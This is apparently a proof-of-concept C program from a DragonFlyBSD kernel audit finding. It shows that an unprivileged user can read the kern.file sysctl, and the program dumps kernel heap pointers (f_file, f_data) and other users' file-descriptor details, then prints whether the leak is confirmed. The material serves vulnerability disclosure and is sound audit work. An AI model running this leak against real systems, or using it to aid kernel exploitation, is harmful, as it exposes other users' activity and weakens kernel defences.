DragonFlyBSD Kernel Audit
DF-2684 / kfile_leak.c
← back to finding ↓ download raw
/*
 * DF-2684 PoC: unprivileged read of sysctl kern.file (KERN_FILE).
 *
 * DragonFly kern_descrip.c sysctl_kern_file_callback() feeds every
 * process's fd table through kcore_make_file() which copies:
 *    kf->f_file = fp        (kernel address of struct file)
 *    kf->f_data = fp->f_data(kernel address of vnode/socket/pipe)
 * and the sysctl read path (kern_sysctl.c sysctl_root) applies NO
 * privilege check for reads -- only prison filtering in the callback.
 *
 * This program dumps the table as an unprivileged user and proves:
 *   (1) kernel pointers are non-NULL
 *   (2) descriptors of OTHER users (e.g. root) are visible
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/kinfo.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int
main(void)
{
	size_t len = 0;
	void *buf;
	int mib[2] = { CTL_KERN, KERN_FILE };
	int rc;
	unsigned i, nent;
	struct kinfo_file *kf;
	int myuid = getuid();
	int foreign = 0, ptrs = 0;

	if (sysctl(mib, 2, NULL, &len, NULL, 0) < 0)
		err(1, "sysctl size");
	if (len == 0) {
		printf("FAIL: kern.file size probe returned 0\n");
		return 1;
	}
	buf = malloc(len);
	if (buf == NULL)
		err(1, "malloc");
	rc = sysctl(mib, 2, buf, &len, NULL, 0);
	if (rc < 0)
		err(1, "sysctl data");
	nent = (unsigned)(len / sizeof(struct kinfo_file));
	printf("uid=%d fetched %u kinfo_file entries (%zu bytes)\n",
	       myuid, nent, len);

	/* NOTE: actual entry count can be lower than len/sizeof due to the
	 * 10% over-allocation in sysctl_kern_file(); stop at f_size==0. */
	for (i = 0; i < nent; i++) {
		kf = (struct kinfo_file *)((char *)buf +
		    i * sizeof(struct kinfo_file));
		if (kf->f_size != sizeof(struct kinfo_file))
			break;
		if (kf->f_file != NULL || kf->f_data != NULL)
			ptrs++;
		if (kf->f_uid != myuid)
			foreign++;
		if (i < 8 || (kf->f_uid != myuid && foreign < 6)) {
			printf("  pid=%-6d uid=%-6d fd=%-3d type=%d "
			       "f_file=%p f_data=%p off=%lld fl=%x\n",
			       kf->f_pid, kf->f_uid, kf->f_fd, kf->f_type,
			       kf->f_file, kf->f_data,
			       (long long)kf->f_offset, kf->f_flag);
		}
	}
	printf("entries with kernel pointers: %d\n", ptrs);
	printf("entries belonging to OTHER uids: %d\n", foreign);
	if (ptrs > 0 && foreign > 0) {
		printf("RESULT: LEAK CONFIRMED (unprivileged uid %d sees "
		       "kernel heap pointers + other users' fd state)\n",
		       myuid);
		return 0;
	}
	printf("RESULT: no leak observed\n");
	return 1;
}